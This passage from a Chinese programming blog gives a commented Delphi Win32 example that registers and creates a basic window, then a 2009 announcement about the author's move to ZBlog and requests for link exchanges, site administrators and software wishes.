WinClass :TWndClassEx; //Windows 窗口类结构.
begin
hInst:=GetModuleHandle(nil); // get the application instance
WinClass.cbSize:=SizeOf(TWndClassEx);
WinClass.lpszClassName:='MyWindow'; //类名.
WinClass.style:=CS_HREDRAW or CS_VREDRAW or CS_OWNDC;
WinClass.hInstance:=hInst; //程序的实例句柄.
//设置窗口消息处理函数.
WinClass.lpfnWndProc:=@MyWinProc; //窗口过程.
WinClass.cbClsExtra:=0; //以下两个域用于在类结构和Window
s内部保存的窗口结构
WinClass.cbWndExtra
:=0; //中预留一些额外空间.
WinClass.hIcon:=LoadIcon(hInstance,MakeIntResource('MAINICON'));
WinClass.hIconsm:=LoadIcon(hInstance,MakeIntResource('MAINICON'));
WinClass.hCursor:=LoadCursor(0,IDC_Arrow);
//GetStockObject 获取一个图形对象,在这里是获取绘制窗口背景的刷子,返回一个白色刷
子的句柄.
WinClass.hbrBackground:=HBRUSH(GetStockObject(white_Brush));
WinClass.lpszMenuName:=nil; //指定窗口类菜单.

//向Windows 注册窗口类.
if RegisterClassEx(WinClass)=0 then
begin
MessageBox(0,'Registeration Error!','SDK/API',MB_OK);
Exit;
end;

//建立窗口对象.
hWnd:=CreateWindowEx(
WS_EX_OVERLAPPEDWINDOW, //扩展的窗口风格.
WinClass.lpszClassName, //类名.
'Hello Window', //窗口标题.
WS_OVERLAPPEDWINDOW, //窗口风格.
CW_USEDEFAULT, //窗口左上角相对于屏幕
左上角的初始位置x.
0, //....右y.
CW_USEDEFAULT, //窗口宽度x.
0, //窗口高度y.
0, //父窗口句柄.
0, //窗口菜单句柄.
hInst, //程序实例句柄.
nil); //创建参数指针.
if hWnd<>0 then
begin
ShowWindow(hWnd,SW_SHOWNORMAL); //显示窗口.
UpdateWindow(hWnd); //指示窗口刷新自己.
SetWindowPos(hWnd, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOMOVE + SWP_NOSIZ
E
);

end
else
MessageBox(0,'Window not Created!','SDK/API',MB_OK);

//主消息循环程序.
while GetMessage(Msg,0,0,0) do
begin
TranslateMessage(Msg); //转换某些键盘消息.
DispatchMessage(Msg); //将消息发送给窗口过程.
end;
end.




【2009-02-12】
  原来一直用的PJBlog,但是现在不想用了,越高越复杂,我还是喜欢简单一点的东西,所以用了ZBlog。所在的空间不是双线的,这次换了个双线的,感谢一直以来 Smallrascal 的照顾。
  不过这次换空间换博客程序损失还是比较大的,所有的文章全部丢失,收工录入编程部分日志花了我3天的时间重新排版编辑。其他文章我正在筛选,部分过时的文章和不好的文章就删除了。
  毕业了(准毕业生),无业游民,压力比较大,脾气变暴躁了,明显体现在跟网友说话时,很不耐烦。批评自己一下,努力改正错误,改变心态。专心做好现在手上的事情,不多想了。此博客还是不作为私人日记发布处,主要路线是给大家提供好的软件,就是这样。

--------------------------------------------------------------------------------------
--------------------------------------------------------------------------------------


友情链接:
  以前的友情链接很多无效的,请朋友们看到该条消息请在这里再申请一次,呃...麻烦大家了...
  同时也欢迎流量1000IP正规健康内容的博客做友情链接,PR值当然越高越好啦,哈哈哈。、

管理员:
  喜欢本站的,支持加加的,有时间可以贡献的,可以考虑一下申请本站的管理员,也是留言申请。
  自我认为很有能力的,我可以有偿聘请管理本站。佣金QQ详谈...比较少的...

求软件:
  需要某种软件,某些功能,但是自己又找不到适合的。
  那么朋友们,你们可以在这里留言,我尽力帮大家解决问题。
  注意,相关软件必须是正规合法软件...